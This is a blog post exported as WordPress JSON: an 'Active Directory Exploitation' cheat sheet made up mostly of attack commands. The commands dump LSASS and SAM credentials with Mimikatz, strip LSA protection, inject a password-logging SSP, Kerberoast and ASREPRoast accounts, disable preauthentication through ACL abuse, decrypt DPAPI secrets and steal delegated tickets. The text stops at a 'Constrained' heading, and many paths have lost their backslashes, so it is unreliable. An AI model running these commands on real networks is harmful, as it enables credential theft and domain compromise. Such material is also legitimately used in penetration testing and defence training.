{"id":8620,"date":"2020-12-29T00:22:38","date_gmt":"2020-12-28T22:22:38","guid":{"rendered":"http:\/\/tajdini.net\/blog\/?p=8620"},"modified":"2020-12-29T00:47:12","modified_gmt":"2020-12-28T22:47:12","slug":"active-directory-exploitation-everything","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/cryptography-and-pki\/active-directory-exploitation-everything\/","title":{"rendered":"Active Directory Exploitation [EVERYTHING]"},"content":{"rendered":"<h2>Summary<\/h2>\n<ul>\n<li><a href=\"#active-directory-exploitation-cheat-sheet\">Active Directory Exploitation Cheatsheet<\/a>\n<ul>\n<li><a href=\"#summary\">Summary<\/a><\/li>\n<li><a href=\"#tools\">Tools<\/a><\/li>\n<li><a href=\"#domain-enumeration\">Domain Enumeration<\/a>\n<ul>\n<li><a href=\"#using-powerview\">Using PowerView<\/a><\/li>\n<li><a href=\"#using-ad-module\">Using AD Module<\/a><\/li>\n<li><a href=\"#using-bloodhound\">Using BloodHound<\/a><\/li>\n<li><a href=\"#useful-enumeration-tools\">Useful Enumeration Tools<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#local-privilege-escalation\">Local Privilege Escalation<\/a><\/li>\n<li><a href=\"#lateral-movement\">Lateral Movement<\/a>\n<ul>\n<li><a href=\"#powershell-remoting\">Powershell Remoting<\/a><\/li>\n<li><a href=\"#remote-code-execution-with-ps-credentials\">Remote Code Execution with PS Credentials<\/a><\/li>\n<li><a href=\"#import-a-powershell-module-and-execute-its-functions-remotely\">Import a powershell module and execute its functions remotely<\/a><\/li>\n<li><a href=\"#executing-remote-stateful-commands\">Executing Remote Stateful commands<\/a><\/li>\n<li><a href=\"#mimikatz\">Mimikatz<\/a><\/li>\n<li><a href=\"#useful-tools\">Useful Tools<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#domain-privilege-escalation\">Domain Privilege Escalation<\/a>\n<ul>\n<li><a href=\"#kerberoast\">Kerberoast<\/a><\/li>\n<li><a href=\"#asreproast\">ASREPRoast<\/a><\/li>\n<li><a href=\"#password-spray-attack\">Password Spray Attack<\/a><\/li>\n<li><a href=\"#force-set-spn\">Force Set SPN<\/a><\/li>\n<li><a href=\"#abusing-shadow-copies\">Abusing Shadow Copies<\/a><\/li>\n<li><a href=\"#list-and-decrypt-stored-credentials-using-mimikatz\">List and Decrypt Stored Credentials using Mimikatz<\/a><\/li>\n<li><a href=\"#unconstrained-delegation\">Unconstrained Delegation<\/a><\/li>\n<li><a href=\"#constrained-delegation\">Constrained Delegation<\/a><\/li>\n<li><a href=\"#resource-based-constrained-delegation\">Resource Based Constrained Delegation<\/a><\/li>\n<li><a href=\"#dnsadmins-abuse\">DNSAdmins Abuse<\/a><\/li>\n<li><a href=\"#abusing-active-directory-integraded-dns\">Abusing Active Directory-Integraded DNS<\/a><\/li>\n<li><a href=\"#abusing-backup-operators-group\">Abusing Backup Operators Group<\/a><\/li>\n<li><a href=\"#abusing-exchange\">Abusing Exchange<\/a><\/li>\n<li><a href=\"#weaponizing-printer-bug\">Weaponizing Printer Bug<\/a><\/li>\n<li><a href=\"#abusing-acls\">Abusing ACLs<\/a><\/li>\n<li><a href=\"#abusing-ipv6-with-mitm6\">Abusing IPv6 with mitm6<\/a><\/li>\n<li><a href=\"#sid-history-abuse\">SID History Abuse<\/a><\/li>\n<li><a href=\"#exploiting-sharepoint\">Exploiting SharePoint<\/a><\/li>\n<li><a href=\"#zerologon-exploit\">Zerologon Exploit<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#domain-persistence\">Domain Persistence<\/a>\n<ul>\n<li><a href=\"#golden-ticket-attack\">Golden Ticket Attack<\/a><\/li>\n<li><a href=\"#dcsync-attack\">DCsync Attack<\/a><\/li>\n<li><a href=\"#silver-ticket-attack\">Silver Ticket Attack<\/a><\/li>\n<li><a href=\"#skeleton-key-attack\">Skeleton Key Attack<\/a><\/li>\n<li><a href=\"#dsrm-abuse\">DSRM Abuse<\/a><\/li>\n<li><a href=\"#custom-ssp\">Custom SSP<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#cross-forest-attacks\">Cross Forest Attacks<\/a>\n<ul>\n<li><a href=\"#trust-tickets\">Trust Tickets<\/a><\/li>\n<li><a href=\"#abuse-mssql-servers\">Abuse MSSQL Servers<\/a><\/li>\n<li><a href=\"#breaking-forest-trusts\">Breaking Forest Trusts<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h2><\/h2>\n<h2>Tools<\/h2>\n<ul>\n<li><a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/tree\/dev\">Powersploit<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/NetSPI\/PowerUpSQL\">PowerUpSQL<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\">Powermad<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">Impacket<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">Mimikatz<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a> -&gt; <a href=\"https:\/\/github.com\/r3motecontrol\/Ghostpack-CompiledBinaries\">Compiled Version<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\">BloodHound<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/samratashok\/ADModule\">AD Module<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/HarmJ0y\/ASREPRoast\">ASREPRoast<\/a><\/li>\n<\/ul>\n<h2><\/h2>\n<h2>Domain Enumeration<\/h2>\n<h3><\/h3>\n<h3>Using PowerView<\/h3>\n<ul>\n<li><strong>Get Current Domain:<\/strong> <code>Get-NetDomain<\/code><\/li>\n<li><strong>Enum Other Domains:<\/strong> <code>Get-NetDomain -Domain &lt;DomainName&gt;<\/code><\/li>\n<li><strong>Get Domain SID:<\/strong> <code>Get-DomainSID<\/code><\/li>\n<li><strong>Get Domain Policy:<\/strong>\n<pre><code>Get-DomainPolicy\n#Will show us the policy configurations of the Domain about system access or kerberos\n(Get-DomainPolicy).\"system access\"\n(Get-DomainPolicy).\"kerberos policy\"\n<\/code><\/pre>\n<\/li>\n<li><strong>Get Domain Controllers:<\/strong>\n<pre><code>Get-NetDomainController\nGet-NetDomainController -Domain &lt;DomainName&gt;\n<\/code><\/pre>\n<\/li>\n<li><strong>Enumerate Domain Users:<\/strong>\n<pre><code>Get-NetUser\nGet-NetUser -SamAccountName &lt;user&gt; \nGet-NetUser | select cn\nGet-UserProperty\n#Check last password change\nGet-UserProperty -Properties pwdlastset\n#Get a spesific \"string\" on a user's attribute\nFind-UserField -SearchField Description -SearchTerm \"wtver\"\n#Enumerate user logged on a machine\nGet-NetLoggedon -ComputerName &lt;ComputerName&gt;\n#Enumerate Session Information for a machine\nGet-NetSession -ComputerName &lt;ComputerName&gt;\n#Enumerate domain machines of the current\/specified domain where specific users are logged into\nFind-DomainUserLocation -Domain &lt;DomainName&gt; | Select-Object UserName, SessionFromName\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Domain Computers:<\/strong>\n<pre><code>Get-NetComputer -FullData\nGet-DomainGroup\n#Enumerate Live machines \nGet-NetComputer -Ping\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Groups and Group Members:<\/strong>\n<pre><code>Get-NetGroupMember -GroupName \"&lt;GroupName&gt;\" -Domain &lt;DomainName&gt;\n#Enumerate the members of a specified group of the domain\nGet-DomainGroup -Identity &lt;GroupName&gt; | Select-Object -ExpandProperty Member\n#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences\nGet-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName\n<\/code><\/pre>\n<\/li>\n<li><strong>Enumerate Shares<\/strong>\n<pre><code>#Enumerate Domain Shares\nFind-DomainShare\n#Enumerate Domain Shares the current user has access\nFind-DomainShare -CheckShareAccess\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Group Policies:<\/strong>\n<pre><code>Get-NetGPO\n# Shows active Policy on specified machine\nGet-NetGPO -ComputerName &lt;Name of the PC&gt;\nGet-NetGPOGroup\n#Get users that are part of a Machine's local Admin group\nFind-GPOComputerAdmin -ComputerName &lt;ComputerName&gt;\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum OUs:<\/strong>\n<pre><code>Get-NetOU -FullData \nGet-NetGPO -GPOname &lt;The GUID of the GPO&gt;\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum ACLs:<\/strong>\n<pre><code># Returns the ACLs associated with the specified account\nGet-ObjectAcl -SamAccountName &lt;AccountName&gt; -ResolveGUIDs\nGet-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose\n#Search for interesting ACEs\nInvoke-ACLScanner -ResolveGUIDs\n#Check the ACLs associated with a specified path (e.g smb share)\nGet-PathAcl -Path \"\\PathOfAShare\"\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Domain Trust:<\/strong>\n<pre><code>Get-NetDomainTrust\nGet-NetDomainTrust -Domain &lt;DomainName&gt;\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Forest Trust:<\/strong>\n<pre><code>Get-NetForestDomain\nGet-NetForestDomain Forest &lt;ForestName&gt;\n#Domains of Forest Enumeration\nGet-NetForestDomain\nGet-NetForestDomain Forest &lt;ForestName&gt;\n#Map the Trust of the Forest\nGet-NetForestTrust\nGet-NetDomainTrust -Forest &lt;ForestName&gt;\n<\/code><\/pre>\n<\/li>\n<li><strong>User Hunting:<\/strong>\n<pre><code>#Finds all machines on the current domain where the current user has local admin access\nFind-LocalAdminAccess -Verbose\n#Find local admins on all machines of the domain:\nInvoke-EnumerateLocalAdmin -Verbose\n#Find computers were a Domain Admin OR a spesified user has a session\nInvoke-UserHunter\nInvoke-UserHunter -GroupName \"RDPUsers\"\nInvoke-UserHunter -Stealth\n#Confirming admin access:\nInvoke-UserHunter -CheckAccess\n<\/code><\/pre>\n<p>\u2757 <strong>Priv Esc to Domain Admin with User Hunting:<\/strong><br \/>\nI have local admin access on a machine -&gt; A Domain Admin has a session on that machine -&gt; I steal his token and impersonate him -&gt;<br \/>\nProfit!<br \/>\n<a href=\"https:\/\/gist.github.com\/HarmJ0y\/184f9822b195c52dd50c379ed3117993\">PowerView 3.0 Tricks<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Using AD Module<\/h3>\n<ul>\n<li><strong>Get Current Domain:<\/strong> <code>Get-ADDomain<\/code><\/li>\n<li><strong>Enum Other Domains:<\/strong> <code>Get-ADDomain -Identity &lt;Domain&gt;<\/code><\/li>\n<li><strong>Get Domain SID:<\/strong> <code>Get-DomainSID<\/code><\/li>\n<li><strong>Get Domain Controlers:<\/strong>\n<pre><code>Get-ADDomainController\nGet-ADDomainController -Identity &lt;DomainName&gt;\n<\/code><\/pre>\n<\/li>\n<li><strong>Enumerate Domain Users:<\/strong>\n<pre><code>Get-ADUser -Filter * -Identity &lt;user&gt; -Properties *\n#Get a spesific \"string\" on a user's attribute\nGet-ADUser -Filter 'Description -like \"*wtver*\"' -Properties Description | select Name, Description\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Domain Computers:<\/strong>\n<pre><code>Get-ADComputer -Filter * -Properties *\nGet-ADGroup -Filter * \n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Domain Trust:<\/strong>\n<pre><code>Get-ADTrust -Filter *\nGet-ADTrust -Identity &lt;DomainName&gt;\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Forest Trust:<\/strong>\n<pre><code>Get-ADForest\nGet-ADForest -Identity &lt;ForestName&gt;\n#Domains of Forest Enumeration\n(Get-ADForest).Domains\n<\/code><\/pre>\n<\/li>\n<li><strong>Enum Local AppLocker Effective Policy:<\/strong><\/li>\n<\/ul>\n<pre><code>Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Using BloodHound<\/h3>\n<pre><code>#Using exe ingestor\n.SharpHound.exe --CollectionMethod All --LDAPUser &lt;UserName&gt; --LDAPPass &lt;Password&gt; --JSONFolder &lt;PathToFile&gt;\n#Using powershell module ingestor\n. .SharpHound.ps1\nInvoke-BloodHound -CollectionMethod All  -LDAPUser &lt;UserName&gt; -LDAPPass &lt;Password&gt; -OutputDirectory &lt;PathToFile&gt;\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Useful Enumeration Tools<\/h3>\n<ul>\n<li><a href=\"https:\/\/github.com\/dirkjanm\/ldapdomaindump\">ldapdomaindump<\/a> Information dumper via LDAP<\/li>\n<li><a href=\"https:\/\/github.com\/dirkjanm\/adidnsdump\">adidnsdump<\/a> Integrated DNS dumping by any authenticated user<\/li>\n<li><a href=\"https:\/\/github.com\/cyberark\/ACLight\">ACLight<\/a> Advanced Discovery of Privileged Accounts<\/li>\n<li><a href=\"https:\/\/github.com\/sense-of-security\/ADRecon\">ADRecon<\/a> Detailed Active Directory Recon Tool<\/li>\n<\/ul>\n<h2><\/h2>\n<h2>Local Privilege Escalation<\/h2>\n<ul>\n<li><a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/dev\/Privesc\/PowerUp.ps1\">PowerUp<\/a> Misconfiguration Abuse<\/li>\n<li><a href=\"https:\/\/github.com\/AlessandroZ\/BeRoot\">BeRoot<\/a> General Priv Esc Enumeration Tool<\/li>\n<li><a href=\"https:\/\/github.com\/enjoiz\/Privesc\">Privesc<\/a> General Priv Esc Enumeration Tool<\/li>\n<li><a href=\"https:\/\/github.com\/itm4n\/FullPowers\">FullPowers<\/a> Restore A Service Account&#8217;s Privileges<\/li>\n<li><a href=\"https:\/\/github.com\/ohpe\/juicy-potato\">Juicy Potato<\/a> Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation<br \/>\n\u26a0\ufe0f Works only until Windows Server 2016 and Windows 10 until patch 1803<\/li>\n<li><a href=\"https:\/\/github.com\/TsukiCTF\/Lovely-Potato\">Lovely Potato<\/a> Automated Juicy Potato<br \/>\n\u26a0\ufe0f Works only until Windows Server 2016 and Windows 10 until patch 1803<\/li>\n<li><a href=\"https:\/\/github.com\/itm4n\/PrintSpoofer\">PrintSpoofer<\/a> Exploit the PrinterBug for System Impersonation<br \/>\n\ud83d\ude4f Works for Windows Server 2019 and Windows 10<\/li>\n<li><a href=\"https:\/\/github.com\/antonioCoco\/RoguePotato\">RoguePotato<\/a> Upgraded Juicy Potato<br \/>\n\ud83d\ude4f Works for Windows Server 2019 and Windows 10<\/li>\n<li><a href=\"https:\/\/foxglovesecurity.com\/2017\/08\/25\/abusing-token-privileges-for-windows-local-privilege-escalation\/\" rel=\"nofollow\">Abusing Token Privileges<\/a><\/li>\n<li><a href=\"https:\/\/blog.zecops.com\/vulnerabilities\/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc\/\" rel=\"nofollow\">SMBGhost CVE-2020-0796<\/a><br \/>\n<a href=\"https:\/\/github.com\/danigargu\/CVE-2020-0796\">PoC<\/a><\/li>\n<\/ul>\n<h2><\/h2>\n<h2>Lateral Movement<\/h2>\n<h3><\/h3>\n<h3>Powershell Remoting<\/h3>\n<pre><code>#Enable Powershell Remoting on current Machine (Needs Admin Access)\nEnable-PSRemoting\n#Entering or Starting a new PSSession (Needs Admin Access)\n$sess = New-PSSession -ComputerName &lt;Name&gt;\nEnter-PSSession -ComputerName &lt;Name&gt; OR -Sessions &lt;SessionName&gt;\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Remote Code Execution with PS Credentials<\/h3>\n<pre><code>$SecPassword = ConvertTo-SecureString '&lt;Wtver&gt;' -AsPlainText -Force\n$Cred = New-Object System.Management.Automation.PSCredential('htb.local&lt;WtverUser&gt;', $SecPassword)\nInvoke-Command -ComputerName &lt;WtverMachine&gt; -Credential $Cred -ScriptBlock {whoami}\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Import a powershell module and execute its functions remotely<\/h3>\n<pre><code>#Execute the command and start a session\nInvoke-Command -Credential $cred -ComputerName &lt;NameOfComputer&gt; -FilePath c:FilePathfile.ps1 -Session $sess \n#Interact with the session\nEnter-PSSession -Session $sess\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Executing Remote Stateful commands<\/h3>\n<pre><code>#Create a new session\n$sess = New-PSSession -ComputerName &lt;NameOfComputer&gt;\n#Execute command on the session\nInvoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}\n#Check the result of the command to confirm we have an interactive session\nInvoke-Command -Session $sess -ScriptBlock {$ps}\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Mimikatz<\/h3>\n<pre><code>#The commands are in cobalt strike format!\n#Dump LSASS:\nmimikatz privilege::debug\nmimikatz token::elevate\nmimikatz sekurlsa::logonpasswords\n#(Over) Pass The Hash\nmimikatz privilege::debug\nmimikatz sekurlsa::pth \/user:&lt;UserName&gt; \/ntlm:&lt;&gt; \/domain:&lt;DomainFQDN&gt;\n#List all available kerberos tickets in memory\nmimikatz sekurlsa::tickets\n#Dump local Terminal Services credentials\nmimikatz sekurlsa::tspkg\n#Dump and save LSASS in a file\nmimikatz sekurlsa::minidump c:templsass.dmp\n#List cached MasterKeys\nmimikatz sekurlsa::dpapi\n#List local Kerberos AES Keys\nmimikatz sekurlsa::ekeys\n#Dump SAM Database\nmimikatz lsadump::sam\n#Dump SECRETS Database\nmimikatz lsadump::secrets\n#Inject and dump the Domain Controler's Credentials\nmimikatz privilege::debug\nmimikatz token::elevate\nmimikatz lsadump::lsa \/inject\n#Dump the Domain's Credentials without touching DC's LSASS and also remotely\nmimikatz lsadump::dcsync \/domain:&lt;DomainFQDN&gt; \/all\n#List and Dump local kerberos credentials\nmimikatz kerberos::list \/dump\n#Pass The Ticket\nmimikatz kerberos::ptt &lt;PathToKirbiFile&gt;\n#List TS\/RDP sessions\nmimikatz ts::sessions\n#List Vault credentials\nmimikatz vault::list\n<\/code><\/pre>\n<p>\u2757 What if mimikatz fails to dump credentials because of LSA Protection controls ?<br \/>\nSo far i know two workarounds:<\/p>\n<ul>\n<li>LSA as a Protected Process<\/li>\n<\/ul>\n<pre><code>#Check if LSA runs as a protected process by looking if the variable \"RunAsPPL\" is set to 0x1\nreg query HKLMSYSTEMCurrentControlSetControlLsa\n#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe\n#Now lets import the mimidriver.sys to the system\nmimikatz # !+\n#Now lets remove the protection flags from lsass.exe process\nmimikatz # !processprotect \/process:lsass.exe \/remove\n#Finally run the logonpasswords function to dump lsass\nmimikatz # sekurlsa::logonpasswords\n<\/code><\/pre>\n<ul>\n<li>LSA is running as virtualized process (LSAISO) by Credential Guard<\/li>\n<\/ul>\n<pre><code>#Check if a process called lsaiso.exe exists on the running processes\ntasklist |findstr lsaiso\n#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.\n#Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides\nmimikatz # misc::memssp\n#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:windowssystem32mimilsa.log\n<\/code><\/pre>\n<ul>\n<li><a href=\"https:\/\/adsecurity.org\/?page_id=1821\" rel=\"nofollow\">Detailed Mimikatz Guide<\/a><\/li>\n<li><a href=\"https:\/\/medium.com\/red-teaming-with-a-blue-team-mentaility\/poking-around-with-2-lsass-protection-options-880590a72b1a\" rel=\"nofollow\">Poking Around With 2 lsass Protection Options<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Useful Tools<\/h3>\n<ul>\n<li><a href=\"https:\/\/github.com\/besimorhino\/powercat\">Powercat<\/a> netcat written in powershell, and provides tunneling, relay and portforward capabilities.<\/li>\n<li><a href=\"https:\/\/github.com\/Mr-Un1k0d3r\/SCShell\">SCShell<\/a> fileless lateral movement tool that relies on ChangeServiceConfigA to run command<\/li>\n<li><a href=\"https:\/\/github.com\/Hackplayers\/evil-winrm\">Evil-Winrm<\/a> the ultimate WinRM shell for hacking\/pentesting<\/li>\n<li><a href=\"https:\/\/github.com\/antonioCoco\/RunasCs\">RunasCs<\/a> Csharp and open version of windows builtin runas.exe<\/li>\n<\/ul>\n<h2><\/h2>\n<h2>Domain Privilege Escalation<\/h2>\n<h3><\/h3>\n<h3>Kerberoast<\/h3>\n<p><em>WUT IS DIS?:<\/em><br \/>\nAll standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a &#8220;user&#8221;<br \/>\naccount, extract the encrypted blob that was encrypted using the user&#8217;s password and bruteforce it offline.<\/p>\n<ul>\n<li>PowerView:<\/li>\n<\/ul>\n<pre><code>#Get User Accounts that are used as Service Accounts\nGet-NetUser -SPN\n#Get every available SPN account, request a TGS and dump its hash\nInvoke-Kerberoast\n#Requesting the TGS for a single account:\nRequest-SPNTicket\n#Export all tickets using Mimikatz\nInvoke-Mimikatz -Command '\"kerberos::list \/export\"'\n<\/code><\/pre>\n<ul>\n<li>AD Module:<\/li>\n<\/ul>\n<pre><code>#Get User Accounts that are used as Service Accounts\nGet-ADUser -Filter {ServicePrincipalName -ne \"$null\"} -Properties ServicePrincipalName\n<\/code><\/pre>\n<ul>\n<li>Impacket:<\/li>\n<\/ul>\n<pre><code>python GetUserSPNs.py &lt;DomainName&gt;\/&lt;DomainUser&gt;:&lt;Password&gt; -outputfile &lt;FileName&gt;\n<\/code><\/pre>\n<ul>\n<li>Rubeus:<\/li>\n<\/ul>\n<pre><code>#Kerberoasting and outputing on a file with a spesific format\nRubeus.exe kerberoast \/outfile:&lt;fileName&gt; \/domain:&lt;DomainName&gt;\n#Kerberoasting whle being \"OPSEC\" safe, essentially while not try to roast AES enabled accounts\nRubeus.exe kerberoast \/outfile:&lt;fileName&gt; \/domain:&lt;DomainName&gt; \/rc4opsec\n#Kerberoast AES enabled accounts\nRubeus.exe kerberoast \/outfile:&lt;fileName&gt; \/domain:&lt;DomainName&gt; \/aes\n#Kerberoast spesific user account\nRubeus.exe kerberoast \/outfile:&lt;fileName&gt; \/domain:&lt;DomainName&gt; \/user:&lt;username&gt; \/simple\n#Kerberoast by specifying the authentication credentials \nRubeus.exe kerberoast \/outfile:&lt;fileName&gt; \/domain:&lt;DomainName&gt; \/creduser:&lt;username&gt; \/credpassword:&lt;password&gt;\n<\/code><\/pre>\n<h3><\/h3>\n<h3>ASREPRoast<\/h3>\n<p><em>WUT IS DIS?:<\/em><br \/>\nIf a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted<br \/>\nblob and bruteforce it offline.<\/p>\n<ul>\n<li>PowerView: <code>Get-DomainUser -PreauthNotRequired -Verbose<\/code><\/li>\n<li>AD Module: <code>Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth<\/code><\/li>\n<\/ul>\n<p>Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:<br \/>\n<strong>Hint:<\/strong> We add a filter e.g. RDPUsers to get &#8220;User Accounts&#8221; not Machine Accounts, because Machine Account hashes are not crackable!<br \/>\nPowerView:<\/p>\n<pre><code>Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match \"RDPUsers\"}\nDisable Kerberos Preauth:\nSet-DomainObject -Identity &lt;UserAccount&gt; -XOR @{useraccountcontrol=4194304} -Verbose\nCheck if the value changed:\nGet-DomainUser -PreauthNotRequired -Verbose\n<\/code><\/pre>\n<p>And finally execute the attack using the <a href=\"https:\/\/github.com\/HarmJ0y\/ASREPRoast\">ASREPRoast<\/a> tool.<\/p>\n<pre><code>#Get a spesific Accounts hash:\nGet-ASREPHash -UserName &lt;UserName&gt; -Verbose\n#Get any ASREPRoastable Users hashes:\nInvoke-ASREPRoast -Verbose\n<\/code><\/pre>\n<p>Using Rubeus:<\/p>\n<pre><code>#Trying the attack for all domain users\nRubeus.exe asreproast \/format:&lt;hashcat|john&gt; \/domain:&lt;DomainName&gt; \/outfile:&lt;filename&gt;\n#ASREPRoast spesific user\nRubeus.exe asreproast \/user:&lt;username&gt; \/format:&lt;hashcat|john&gt; \/domain:&lt;DomainName&gt; \/outfile:&lt;filename&gt;\n#ASREPRoast users of a spesific OU (Organization Unit)\nRubeus.exe asreproast \/ou:&lt;OUName&gt; \/format:&lt;hashcat|john&gt; \/domain:&lt;DomainName&gt; \/outfile:&lt;filename&gt;\n<\/code><\/pre>\n<p>Using Impacket:<\/p>\n<pre><code>#Trying the attack for the specified users on the file\npython GetNPUsers.py &lt;domain_name&gt;\/ -usersfile &lt;users_file&gt; -outputfile &lt;FileName&gt;\n<\/code><\/pre>\n<h3><\/h3>\n<h3>Password Spray Attack<\/h3>\n<p>If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.<br \/>\n<strong>Tools:<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/dafthack\/DomainPasswordSpray\">DomainPasswordSpray<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/byt3bl33d3r\/CrackMapExec\">CrackMapExec<\/a><\/li>\n<li>[Invoke-CleverSpray]<a href=\"https:\/\/github.com\/wavestone-cdt\/Invoke-CleverSpray\">https:\/\/github.com\/wavestone-cdt\/Invoke-CleverSpray<\/a>)<\/li>\n<li><a href=\"https:\/\/github.com\/Greenwolf\/Spray\">Spray<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Force Set SPN<\/h3>\n<p><em>WUT IS DIS ?: If we have enough permissions -&gt; GenericAll\/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.<\/em><\/p>\n<ul>\n<li>PowerView:<\/li>\n<\/ul>\n<pre><code>#Check for interesting permissions on accounts:\nInvoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match \"RDPUsers\"}\n#Check if current user has already an SPN setted:\nGet-DomainUser -Identity &lt;UserName&gt; | select serviceprincipalname\n#Force set the SPN on the account:\nSet-DomainObject &lt;UserName&gt; -Set @{serviceprincipalname='ops\/whatever1'}\n<\/code><\/pre>\n<ul>\n<li>AD Module:<\/li>\n<\/ul>\n<pre><code>#Check if current user has already an SPN setted\nGet-ADUser -Identity &lt;UserName&gt; -Properties ServicePrincipalName | select ServicePrincipalName\n#Force set the SPN on the account:\nSet-ADUser -Identiny &lt;UserName&gt; -ServicePrincipalNames @{Add='ops\/whatever1'}\n<\/code><\/pre>\n<p>Finally use any tool from before to grab the hash and kerberoast it!<\/p>\n<h3><\/h3>\n<h3>Abusing Shadow Copies<\/h3>\n<p>If you have local administrator access on a machine try to list shadow copies, it&#8217;s an easy way for Domain Escalation.<\/p>\n<pre><code>#List shadow copies using vssadmin (Needs Admnistrator Access)\nvssadmin list shadows\n#List shadow copies using diskshadow\ndiskshadow list shadows all\n#Make a symlink to the shadow copy and access it\nmklink \/d c:shadowcopy \\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1\n<\/code><\/pre>\n<ol>\n<li>You can dump the backuped SAM database and harvest credentials.<\/li>\n<li>Look for DPAPI stored creds and decrypt them.<\/li>\n<li>Access backuped sensitive files.<\/li>\n<\/ol>\n<h3><\/h3>\n<h3>List and Decrypt Stored Credentials using Mimikatz<\/h3>\n<p>Usually encrypted credentials are stored in:<\/p>\n<ul>\n<li><code>%appdata%MicrosoftCredentials<\/code><\/li>\n<li><code>%localappdata%MicrosoftCredentials<\/code><\/li>\n<\/ul>\n<pre><code>#By using the cred function of mimikatz we can enumerate the cred object and get information about it:\ndpapi::cred \/in:\"%appdata%MicrosoftCredentials&lt;CredHash&gt;\"\n#From the previous command we are interested to the \"guidMasterKey\" parameter, that tells us which masterkey was used to encrypt the credential\n#Lets enumerate the Master Key:\ndpapi::masterkey \/in:\"%appdata%MicrosoftProtect&lt;usersid&gt;&lt;MasterKeyGUID&gt;\"\n#Now if we are on the context of the user (or system) that the credential belogs to, we can use the \/rpc flag to pass the decryption of the masterkey to the domain controler:\ndpapi::masterkey \/in:\"%appdata%MicrosoftProtect&lt;usersid&gt;&lt;MasterKeyGUID&gt;\" \/rpc\n#We now have the masterkey in our local cache:\ndpapi::cache\n#Finally we can decrypt the credential using the cached masterkey:\ndpapi::cred \/in:\"%appdata%MicrosoftCredentials&lt;CredHash&gt;\"\n<\/code><\/pre>\n<p>Detailed Article: <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/howto-~-credential-manager-saved-credentials\">DPAPI all the things<\/a><\/p>\n<h3><\/h3>\n<h3>Unconstrained Delegation<\/h3>\n<p><em>WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!<\/em><br \/>\nUsing PowerView:<\/p>\n<pre><code>#Discover domain joined computers that have Unconstrained Delegation enabled\nGet-NetComputer -UnConstrained\n#List tickets and check if a DA or some High Value target has stored its TGT\nInvoke-Mimikatz -Command '\"sekurlsa::tickets\"'\n#Command to monitor any incoming sessions on our compromised server\nInvoke-UserHunter -ComputerName &lt;NameOfTheComputer&gt; -Poll &lt;TimeOfMonitoringInSeconds&gt; -UserName &lt;UserToMonitorFor&gt; -Delay   \n&lt;WaitInterval&gt; -Verbose\n#Dump the tickets to disk:\nInvoke-Mimikatz -Command '\"sekurlsa::tickets \/export\"'\n#Impersonate the user using ptt attack:\nInvoke-Mimikatz -Command '\"kerberos::ptt &lt;PathToTicket&gt;\"'\n<\/code><\/pre>\n<p><strong>Note:<\/strong> We can also use Rubeus!<\/p>\n<h3><\/h3>\n<h3>Constrained 